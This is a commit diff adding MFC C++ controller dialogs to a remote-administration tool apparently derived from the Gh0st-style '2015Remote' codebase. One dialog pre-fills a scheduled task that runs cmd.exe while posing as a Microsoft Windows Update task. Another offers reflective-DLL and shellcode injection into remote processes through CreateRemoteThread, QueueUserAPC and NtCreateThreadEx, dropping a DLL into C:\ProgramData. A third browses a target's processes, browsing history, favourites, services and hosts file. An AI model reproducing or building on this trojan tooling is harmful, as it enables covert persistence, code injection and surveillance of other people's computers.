Init: Migrate SimpleRemoter (Since v1.3.1) to Gitea
This commit is contained in:
68
server/2015Remote/sys/CCreateTaskDlg.cpp
Normal file
68
server/2015Remote/sys/CCreateTaskDlg.cpp
Normal file
@@ -0,0 +1,68 @@
|
||||
// CCreateTaskDlg.cpp: 实现文件
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "CCreateTaskDlg.h"
|
||||
|
||||
// CCreateTaskDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CCreateTaskDlg, CDialog)
|
||||
|
||||
CCreateTaskDlg::CCreateTaskDlg(CWnd* pParent /*=nullptr*/)
|
||||
: CDialogLang(IDD_CREATETASK, pParent)
|
||||
, m_TaskPath(_T("\\"))
|
||||
, m_TaskNames(_T("bhyy"))
|
||||
, m_ExePath(_T("C:\\windows\\system32\\cmd.exe"))
|
||||
, m_Author(_T("Microsoft Corporation"))
|
||||
, m_Description(_T("此任务用于在需要时启动 Windows 更新服务以执行计划的操作(如扫描)"))
|
||||
{
|
||||
}
|
||||
|
||||
CCreateTaskDlg::~CCreateTaskDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CCreateTaskDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
__super::DoDataExchange(pDX);
|
||||
DDX_Text(pDX, IDC_EDIT_PATH, m_TaskPath);
|
||||
DDX_Control(pDX, IDC_EDIT_NAME, m_TaskName);
|
||||
DDX_Text(pDX, IDC_EDIT_NAME, m_TaskNames);
|
||||
DDX_Text(pDX, IDC_EDIT_EXEPATH, m_ExePath);
|
||||
DDX_Text(pDX, IDC_EDIT_MAKER, m_Author);
|
||||
DDX_Text(pDX, IDC_EDIT_TEXT, m_Description);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CCreateTaskDlg, CDialog)
|
||||
ON_BN_CLICKED(IDC_BUTTON_CREAT, &CCreateTaskDlg::OnBnClickedButtonCREAT)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CCreateTaskDlg 消息处理程序
|
||||
|
||||
BOOL CCreateTaskDlg::OnInitDialog()
|
||||
{
|
||||
__super::OnInitDialog();
|
||||
// 多语言翻译 - Static控件
|
||||
SetDlgItemText(IDC_STATIC_CREATETASK_PATH, _TR("路径:"));
|
||||
SetDlgItemText(IDC_STATIC_CREATETASK_NAME, _TR("任务名:"));
|
||||
SetDlgItemText(IDC_STATIC_CREATETASK_FILE, _TR("文件路径:"));
|
||||
SetDlgItemText(IDC_STATIC_CREATETASK_AUTHOR, _TR("作者:"));
|
||||
SetDlgItemText(IDC_STATIC_CREATETASK_DESC, _TR("描述:"));
|
||||
|
||||
// 设置对话框标题和控件文本(解决英语系统乱码问题)
|
||||
SetWindowText(_TR("创建计划任务"));
|
||||
SetDlgItemText(IDC_BUTTON_CREAT, _TR("创建"));
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
void CCreateTaskDlg::OnBnClickedButtonCREAT()
|
||||
{
|
||||
UpdateData(TRUE);
|
||||
// TODO: 在此添加控件通知处理程序代码
|
||||
__super::OnOK();
|
||||
}
|
||||
32
server/2015Remote/sys/CCreateTaskDlg.h
Normal file
32
server/2015Remote/sys/CCreateTaskDlg.h
Normal file
@@ -0,0 +1,32 @@
|
||||
#pragma once
|
||||
#include "LangManager.h"
|
||||
|
||||
// CCreateTaskDlg 对话框
|
||||
|
||||
class CCreateTaskDlg : public CDialogLang
|
||||
{
|
||||
DECLARE_DYNAMIC(CCreateTaskDlg)
|
||||
|
||||
public:
|
||||
CCreateTaskDlg(CWnd* pParent = nullptr);
|
||||
virtual ~CCreateTaskDlg();
|
||||
|
||||
// 对话框数据
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_CREATETASK };
|
||||
#endif
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnBnClickedButtonCREAT();
|
||||
CString m_TaskPath;
|
||||
CEdit m_TaskName;
|
||||
CString m_TaskNames;
|
||||
CString m_ExePath;
|
||||
CString m_Author;
|
||||
CString m_Description;
|
||||
};
|
||||
103
server/2015Remote/sys/CInjectCodeDlg.cpp
Normal file
103
server/2015Remote/sys/CInjectCodeDlg.cpp
Normal file
@@ -0,0 +1,103 @@
|
||||
// CInjectCodeDlg.cpp: 实现文件
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "CInjectCodeDlg.h"
|
||||
|
||||
// CInjectCodeDlg 对话框
|
||||
#ifdef _DEBUG
|
||||
#define new DEBUG_NEW
|
||||
#endif
|
||||
|
||||
IMPLEMENT_DYNAMIC(CInjectCodeDlg, CDialog)
|
||||
|
||||
CInjectCodeDlg::CInjectCodeDlg(CWnd* pParent /*=nullptr*/)
|
||||
: CDialogLang(IDD_INJECTINFO, pParent)
|
||||
, Str_loacal(_T("本地文件路径"))
|
||||
, Str_remote(_T(""))
|
||||
{
|
||||
}
|
||||
|
||||
CInjectCodeDlg::~CInjectCodeDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CInjectCodeDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
__super::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_COMBO_INJECTS, m_combo_main);
|
||||
DDX_Text(pDX, IDC_EDIT_PATH, Str_loacal);
|
||||
DDX_Text(pDX, IDC_EDIT_PATH_REMOTE, Str_remote);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CInjectCodeDlg, CDialog)
|
||||
ON_BN_CLICKED(IDC_BUTTON_CHOOSE, &CInjectCodeDlg::OnBnClickedButtonChoose)
|
||||
ON_BN_CLICKED(IDC_BUTTON_INJECT, &CInjectCodeDlg::OnBnClickedButtonInject)
|
||||
ON_CBN_SELCHANGE(IDC_COMBO_INJECTS, &CInjectCodeDlg::OnCbnSelchangeComboInjects)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
BOOL CInjectCodeDlg::OnInitDialog()
|
||||
{
|
||||
__super::OnInitDialog();
|
||||
// 多语言翻译 - Static控件
|
||||
SetDlgItemText(IDC_STATIC_INJECTINFO_PATH, _TR("文件路径: "));
|
||||
SetDlgItemText(IDC_STATIC_INJECTINFO_METHOD, _TR("注入方式:"));
|
||||
SetDlgItemText(IDC_STATIC_INJECTINFO_DIR, _TR("落地目录:"));
|
||||
|
||||
// 设置对话框标题和控件文本(解决英语系统乱码问题)
|
||||
SetWindowText(_TR("注入设置"));
|
||||
SetDlgItemText(IDC_BUTTON_INJECT, _TR("注入"));
|
||||
|
||||
int i = 0;
|
||||
m_combo_main.InsertStringL(i++, _T("CreateRemoteThread(落地反射注入)"));
|
||||
m_combo_main.InsertStringL(i++, _T("QueueUserAPC(落地反射注入)"));
|
||||
m_combo_main.InsertStringL(i++, _T("NtCreateThreadEx(落地反射注入)"));
|
||||
|
||||
m_combo_main.InsertStringL(i++, _T("CreateRemoteThread(shellcode注入)"));
|
||||
m_combo_main.InsertStringL(i++, _T("QueueUserAPC(shellcode注入)"));
|
||||
m_combo_main.InsertStringL(i++, _T("NtCreateThreadEx(shellcode注入)"));
|
||||
|
||||
m_combo_main.SetCurSel(0);
|
||||
|
||||
SYSTEMTIME stTime;
|
||||
GetLocalTime(&stTime);
|
||||
WORD wMonth = stTime.wMonth;
|
||||
WORD wDay = stTime.wDay;
|
||||
WORD wHour = stTime.wHour;
|
||||
WORD wMinute = stTime.wMinute;
|
||||
WORD wSecond = stTime.wSecond;
|
||||
Str_remote.FormatL( _T("C:\\ProgramData\\%d%d%d%d%d.dll"), wMonth, wDay, wHour, wMinute, wSecond);
|
||||
((CEdit*)GetDlgItem(IDC_EDIT_PATH_REMOTE))->SetWindowText(Str_remote);
|
||||
|
||||
isel = 0;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void CInjectCodeDlg::OnBnClickedButtonChoose()
|
||||
{
|
||||
CFileDialog dlg(FALSE, NULL, NULL, OFN_HIDEREADONLY, _T("All Files (*.*)|*.*||"), this);
|
||||
if (dlg.DoModal() != IDOK)
|
||||
return;
|
||||
SetDlgItemText(IDC_EDIT_PATH, dlg.GetPathName());
|
||||
}
|
||||
|
||||
|
||||
void CInjectCodeDlg::OnBnClickedButtonInject()
|
||||
{
|
||||
UpdateData(TRUE);
|
||||
__super::OnOK();
|
||||
}
|
||||
|
||||
|
||||
void CInjectCodeDlg::OnCbnSelchangeComboInjects()
|
||||
{
|
||||
isel =m_combo_main.GetCurSel();
|
||||
if (isel<3) {
|
||||
((CEdit*)GetDlgItem(IDC_EDIT_PATH_REMOTE))->EnableWindow(TRUE);
|
||||
|
||||
} else {
|
||||
((CEdit*)GetDlgItem(IDC_EDIT_PATH_REMOTE))->EnableWindow(FALSE);
|
||||
}
|
||||
}
|
||||
36
server/2015Remote/sys/CInjectCodeDlg.h
Normal file
36
server/2015Remote/sys/CInjectCodeDlg.h
Normal file
@@ -0,0 +1,36 @@
|
||||
#pragma once
|
||||
#include "LangManager.h"
|
||||
|
||||
// CInjectCodeDlg 对话框
|
||||
|
||||
class CInjectCodeDlg : public CDialogLang
|
||||
{
|
||||
DECLARE_DYNAMIC(CInjectCodeDlg)
|
||||
|
||||
public:
|
||||
CInjectCodeDlg(CWnd* pParent = nullptr);
|
||||
virtual ~CInjectCodeDlg();
|
||||
|
||||
CComboBox m_combo_main;
|
||||
int isel;
|
||||
CString Str_loacal;
|
||||
CString Str_remote;
|
||||
|
||||
// 对话框数据
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum {
|
||||
IDD = IDD_INJECTINFO
|
||||
};
|
||||
#endif
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
virtual BOOL OnInitDialog();
|
||||
|
||||
afx_msg void OnBnClickedButtonChoose();
|
||||
afx_msg void OnBnClickedButtonInject();
|
||||
afx_msg void OnCbnSelchangeComboInjects();
|
||||
};
|
||||
1710
server/2015Remote/sys/MachineDlg.cpp
Normal file
1710
server/2015Remote/sys/MachineDlg.cpp
Normal file
File diff suppressed because it is too large
Load Diff
104
server/2015Remote/sys/MachineDlg.h
Normal file
104
server/2015Remote/sys/MachineDlg.h
Normal file
@@ -0,0 +1,104 @@
|
||||
#include "stdafx.h"
|
||||
|
||||
#pragma once
|
||||
#include <2015RemoteDlg.h>
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CMachineDlg dialog
|
||||
|
||||
// TODO: 实现IP获取.
|
||||
#include "common/location.h"
|
||||
|
||||
|
||||
class CMachineDlg : public DialogBase
|
||||
{
|
||||
public:
|
||||
CMachineDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
||||
~CMachineDlg();
|
||||
|
||||
enum { IDD = IDD_MACHINE };
|
||||
CListCtrl m_list;
|
||||
CTabCtrl m_tab;
|
||||
|
||||
void OnReceiveComplete();
|
||||
static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
afx_msg void OnClose();
|
||||
virtual BOOL OnNotify(WPARAM wParam, LPARAM lParam, LRESULT* pResult);
|
||||
|
||||
int m_nSortedCol;
|
||||
bool m_bAscending;
|
||||
bool m_bIsReceiving;
|
||||
CMy2015RemoteDlg* m_pMainWnd;
|
||||
CStatusBar m_wndStatusBar;
|
||||
CLocker m_Locker;
|
||||
bool IsReceivingData()
|
||||
{
|
||||
m_Locker.Lock();
|
||||
auto r = m_bIsReceiving;
|
||||
m_Locker.Unlock();
|
||||
return r;
|
||||
}
|
||||
void SetReceivingStatus(bool b)
|
||||
{
|
||||
m_Locker.Lock();
|
||||
m_bIsReceiving = b;
|
||||
m_Locker.Unlock();
|
||||
}
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg void OnDblclkList(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnRclickList(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnSelChangeTab(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnSelChangingTab(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg LRESULT OnShowMessage(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnWaitMessage(WPARAM wParam, LPARAM lParam);
|
||||
void SortColumn(int iCol, bool bAsc);
|
||||
CString oleTime2Str(double time);
|
||||
void reflush();
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
void SendToken(BYTE bToken);
|
||||
void AdjustList();
|
||||
void OpenInfoDlg();
|
||||
void SetClipboardText(CString& Data);
|
||||
CString __MakePriority(DWORD dwPriClass);
|
||||
void DeleteList();
|
||||
void ShowProcessList(); //进程
|
||||
void ShowWindowsList();//窗口
|
||||
void ShowNetStateList();//网络
|
||||
void ShowSoftWareList();//软件列表
|
||||
void ShowIEHistoryList();//浏览记录
|
||||
void ShowFavoritesUrlList();//收藏夹
|
||||
void ShowServiceList(); //服务
|
||||
void ShowTaskList();//计划任务
|
||||
void ShowHostsList();//HOSTS
|
||||
|
||||
//对应菜单
|
||||
void ShowProcessList_menu(); //进程
|
||||
void ShowWindowsList_menu();//窗口
|
||||
void ShowNetStateList_menu();//网络
|
||||
void ShowSoftWareList_menu();//软件列表
|
||||
void ShowIEHistoryList_menu();//浏览记录
|
||||
void ShowFavoritesUrlList_menu();//收藏夹
|
||||
void ShowServiceList_menu();//服务
|
||||
void ShowTaskList_menu();//计划任务
|
||||
void ShowHostsList_menu();//HOSTS
|
||||
};
|
||||
|
||||
struct Browsinghistory {
|
||||
TCHAR strTime[100];
|
||||
TCHAR strTitle[1024];
|
||||
TCHAR strUrl[1024];
|
||||
};
|
||||
|
||||
struct InjectData {
|
||||
DWORD ExeIsx86;
|
||||
DWORD mode; //注入模式
|
||||
DWORD dwProcessID; //进程ID
|
||||
DWORD datasize; //本地数据尺寸
|
||||
TCHAR strpath[1024]; //远程落地目录
|
||||
};
|
||||
111
server/2015Remote/sys/ServiceInfoDlg.cpp
Normal file
111
server/2015Remote/sys/ServiceInfoDlg.cpp
Normal file
@@ -0,0 +1,111 @@
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "ServiceInfoDlg.h"
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define new DEBUG_NEW
|
||||
#endif
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CServiceInfoDlg dialog
|
||||
|
||||
|
||||
CServiceInfoDlg::CServiceInfoDlg(CWnd* pParent /*=NULL*/)
|
||||
: CDialogLang(CServiceInfoDlg::IDD, pParent)
|
||||
{
|
||||
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_SERVICE));
|
||||
}
|
||||
|
||||
|
||||
void CServiceInfoDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
__super::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_COMBO_RUNWAY, m_combox_runway);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CServiceInfoDlg, CDialog)
|
||||
ON_CBN_SELCHANGE(IDC_COMBO_RUNWAY, OnSelchangeComboRunway)
|
||||
ON_BN_CLICKED(IDC_BUTTON_START, OnButtonStart)
|
||||
ON_BN_CLICKED(IDC_BUTTON_STOP, OnButtonStop)
|
||||
ON_BN_CLICKED(IDC_BUTTON_PAUSE, OnButtonPause)
|
||||
ON_BN_CLICKED(IDC_BUTTON_CONTINUE, OnButtonContinue)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CServiceInfoDlg message handlers
|
||||
|
||||
BOOL CServiceInfoDlg::OnInitDialog()
|
||||
{
|
||||
__super::OnInitDialog();
|
||||
// 多语言翻译 - Static控件
|
||||
SetDlgItemText(IDC_STATIC_SERVICE_INFO_NAME, _TR("服务名称:"));
|
||||
SetDlgItemText(IDC_STATIC_SERVICE_INFO_DISPLAY, _TR("显示名称:"));
|
||||
SetDlgItemText(IDC_STATIC_SERVICE_INFO_DESC, _TR("描述:"));
|
||||
SetDlgItemText(IDC_STATIC_SERVICE_INFO_PATH, _TR("可执行文件路径"));
|
||||
SetDlgItemText(IDC_STATIC_SERVICE_INFO_START, _TR("启动类型:"));
|
||||
SetDlgItemText(IDC_STATIC_SERVICE_INFO_STATUS, _TR("服务状态:"));
|
||||
SetDlgItemText(IDOK, _TR("确定"));
|
||||
SetDlgItemText(IDCANCEL, _TR("取消"));
|
||||
|
||||
SetIcon(m_hIcon, TRUE); // Set big icon
|
||||
SetIcon(m_hIcon, FALSE); // Set small icon
|
||||
|
||||
// TODO: Add extra initialization here
|
||||
m_combox_runway.InsertStringL(0, _T("自动")); // 0
|
||||
m_combox_runway.InsertStringL(1, _T("手动")); // 1
|
||||
m_combox_runway.InsertStringL(2, _T("已禁用")); // 2
|
||||
|
||||
SetDlgItemText(IDC_EDIT_SERNAME, m_ServiceInfo.strSerName);
|
||||
SetDlgItemText(IDC_EDIT_SERDISPLAYNAME, m_ServiceInfo.strSerDisPlayname);
|
||||
SetDlgItemText(IDC_EDIT_SERDESCRIPTION, m_ServiceInfo.strSerDescription);
|
||||
SetDlgItemText(IDC_EDIT_FILEPATH, m_ServiceInfo.strFilePath);
|
||||
SetDlgItemText(IDC_STATIC_TEXT, m_ServiceInfo.strSerState);
|
||||
|
||||
if (m_ServiceInfo.strSerRunway == _T("Disabled"))
|
||||
m_combox_runway.SetCurSel(2);
|
||||
else if (m_ServiceInfo.strSerRunway == _T("Demand Start"))
|
||||
m_combox_runway.SetCurSel(1);
|
||||
else
|
||||
m_combox_runway.SetCurSel(0);
|
||||
|
||||
SetWindowText(m_ServiceInfo.strSerDisPlayname + _T(" Attribute"));
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void CServiceInfoDlg::OnSelchangeComboRunway()
|
||||
{
|
||||
GetDlgItem(IDC_BUTTON_USE)->EnableWindow(TRUE);
|
||||
}
|
||||
|
||||
void CServiceInfoDlg::OnButtonStart()
|
||||
{
|
||||
SendToken(COMMAND_STARTSERVERICE);
|
||||
}
|
||||
|
||||
void CServiceInfoDlg::SendToken(BYTE bToken)
|
||||
{
|
||||
int nPacketLength = (m_ServiceInfo.strSerName.GetLength() + 1);;
|
||||
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
||||
lpBuffer[0] = bToken;
|
||||
|
||||
memcpy(lpBuffer + 1, m_ServiceInfo.strSerName.GetBuffer(0), m_ServiceInfo.strSerName.GetLength());
|
||||
m_ContextObject->Send2Client(lpBuffer, nPacketLength);
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
|
||||
void CServiceInfoDlg::OnButtonStop()
|
||||
{
|
||||
SendToken(COMMAND_STOPSERVERICE);
|
||||
}
|
||||
|
||||
void CServiceInfoDlg::OnButtonPause()
|
||||
{
|
||||
SendToken(COMMAND_PAUSESERVERICE);
|
||||
}
|
||||
|
||||
void CServiceInfoDlg::OnButtonContinue()
|
||||
{
|
||||
SendToken(COMMAND_CONTINUESERVERICE);
|
||||
}
|
||||
40
server/2015Remote/sys/ServiceInfoDlg.h
Normal file
40
server/2015Remote/sys/ServiceInfoDlg.h
Normal file
@@ -0,0 +1,40 @@
|
||||
#pragma once
|
||||
#include "MachineDlg.h"
|
||||
#include "LangManager.h"
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CServiceInfoDlg dialog
|
||||
|
||||
typedef struct {
|
||||
CString strSerName;
|
||||
CString strSerDisPlayname;
|
||||
CString strSerDescription;
|
||||
CString strFilePath;
|
||||
CString strSerRunway;
|
||||
CString strSerState;
|
||||
} SERVICEINFO;
|
||||
|
||||
class CServiceInfoDlg : public CDialogLang
|
||||
{
|
||||
public:
|
||||
CServiceInfoDlg(CWnd* pParent = NULL);
|
||||
|
||||
ClientContext* m_ContextObject;
|
||||
|
||||
enum { IDD = IDD_SERVICE_INFO };
|
||||
CComboBox m_combox_runway;
|
||||
|
||||
SERVICEINFO m_ServiceInfo;
|
||||
CMachineDlg* m_MachineDlg;
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
HICON m_hIcon;
|
||||
void SendToken(BYTE bToken);
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnSelchangeComboRunway();
|
||||
afx_msg void OnButtonStart();
|
||||
afx_msg void OnButtonStop();
|
||||
afx_msg void OnButtonPause();
|
||||
afx_msg void OnButtonContinue();
|
||||
DECLARE_MESSAGE_MAP()
|
||||
};
|
||||
Reference in New Issue
Block a user